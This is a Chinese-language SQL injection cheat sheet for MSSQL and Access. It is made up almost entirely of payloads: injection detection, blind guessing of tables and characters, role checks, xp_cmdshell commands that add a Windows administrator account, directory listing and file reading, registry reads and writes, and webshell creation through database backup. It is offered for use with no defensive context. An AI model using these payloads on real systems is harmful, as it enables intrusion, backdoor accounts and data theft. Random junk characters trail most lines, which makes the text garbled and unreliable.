1.判断是否有注入;and 1=1 ;and 1=2 jSMxb a]
2.初步判断是否是mssql ;and user>0 2 9#jKh
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3.注入参数是字符'and [查询条件] and ''=' -pW*6??+?
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' G|b
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5.判断数据库系统 lWakyCS
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;and (select count(*) from sysobjects)>0 mssql W1_.wN$,5
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;and (select count(*) from msysobjects)>0 access X]}:WGFM
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6.猜数据库 ;and (select Count(*) from [数据库名])>0
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 apgR[=Oy
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 5x"eM=
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9.(1)猜字段的ascii值(access) 3X%h?DC
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 <q&4Y+b
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(2)猜字段的ascii值(mssql) Y_<-.?jf
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 g'AxJ
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10.测试权限结构(mssql) G!+Mu2
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Bo$dIn2_
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- tb4^+&.GS
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- C55Av%-=
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 20# V?hX3
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- =!\Y;rk
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;and 1=(select IS_MEMBER('db_owner'));-- Xe&p.v
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11.添加mssql和系统的帐户 (K_{a+$[
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;exec master.dbo.sp_addlogin username;-- _2Mpzv
;exec master.dbo.sp_password null,username,password;-- cn Ohj
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- *M/:W =,t
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;exec master.dbo.xp_cmdshell 'net user username password )<lQJ#L86a
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ,m8mh)K?0>
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- MdN0 Y@Ll
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2;(+]Ad<
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12.(1)遍历目录 bjo}95
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;create table dirs(paths varchar(100), id int) d^f rKPB
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;insert dirs exec master.dbo.xp_dirtree 'c:\' %lD+57=
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;and (select top 1 paths from dirs)>0 O4Q"2
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) C57m{RH
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(2)遍历目录 SF`(`h0e
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- l))Q/8H
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 \VA*3U^@
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 x[0O*ty-*<
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 {xH?b0>
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 +H28 F_#
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13.mssql中的存储过程 )XHn.>]nc
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xp_regenumvalues 注册表根键, 子键 XMiu}w!
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 y/5GY,z%aL
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xp_regread 根键,子键,键值名 v`{N0 R
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;exec xp_regread #?V rt,n
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 b]fx
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xp_regwrite 根键,子键, 值名, 值类型, 值 v+I-*,R
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 vP=68muD
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 J/O{x
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xp_regdeletevalue 根键,子键,值名 WN<g _8QR
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 wYg!H>5
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 zh|9\lf
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14.mssql的backup创建webshell OZ+v ~'oD
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use model [:FiA?O]
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create table cmd(str image); g;v;xlY`N
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insert into cmd(str) values (''); ^lAM /
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backup database model to disk='c:\l.asp'; nYFrp)DLK
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15.mssql内置函数 <S041KF.{6
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;and (select @@version)>0 获得Windows的版本号 |1RVm?~i
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa T!8^R|!a6
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;and (select user_name())>0 爆当前系统的连接用户 T*f/M
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;and (select db_name())>0 得到当前连接的数据库 m3gv %h
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16.简洁的webshell |Ha#2pt{bc
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use model u0c}[BAF
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create table cmd(str image); =9X1 +x
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insert into cmd(str) values (''); BtZ]~S}v
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backup database model to disk='g:\wwwtest\l.asp';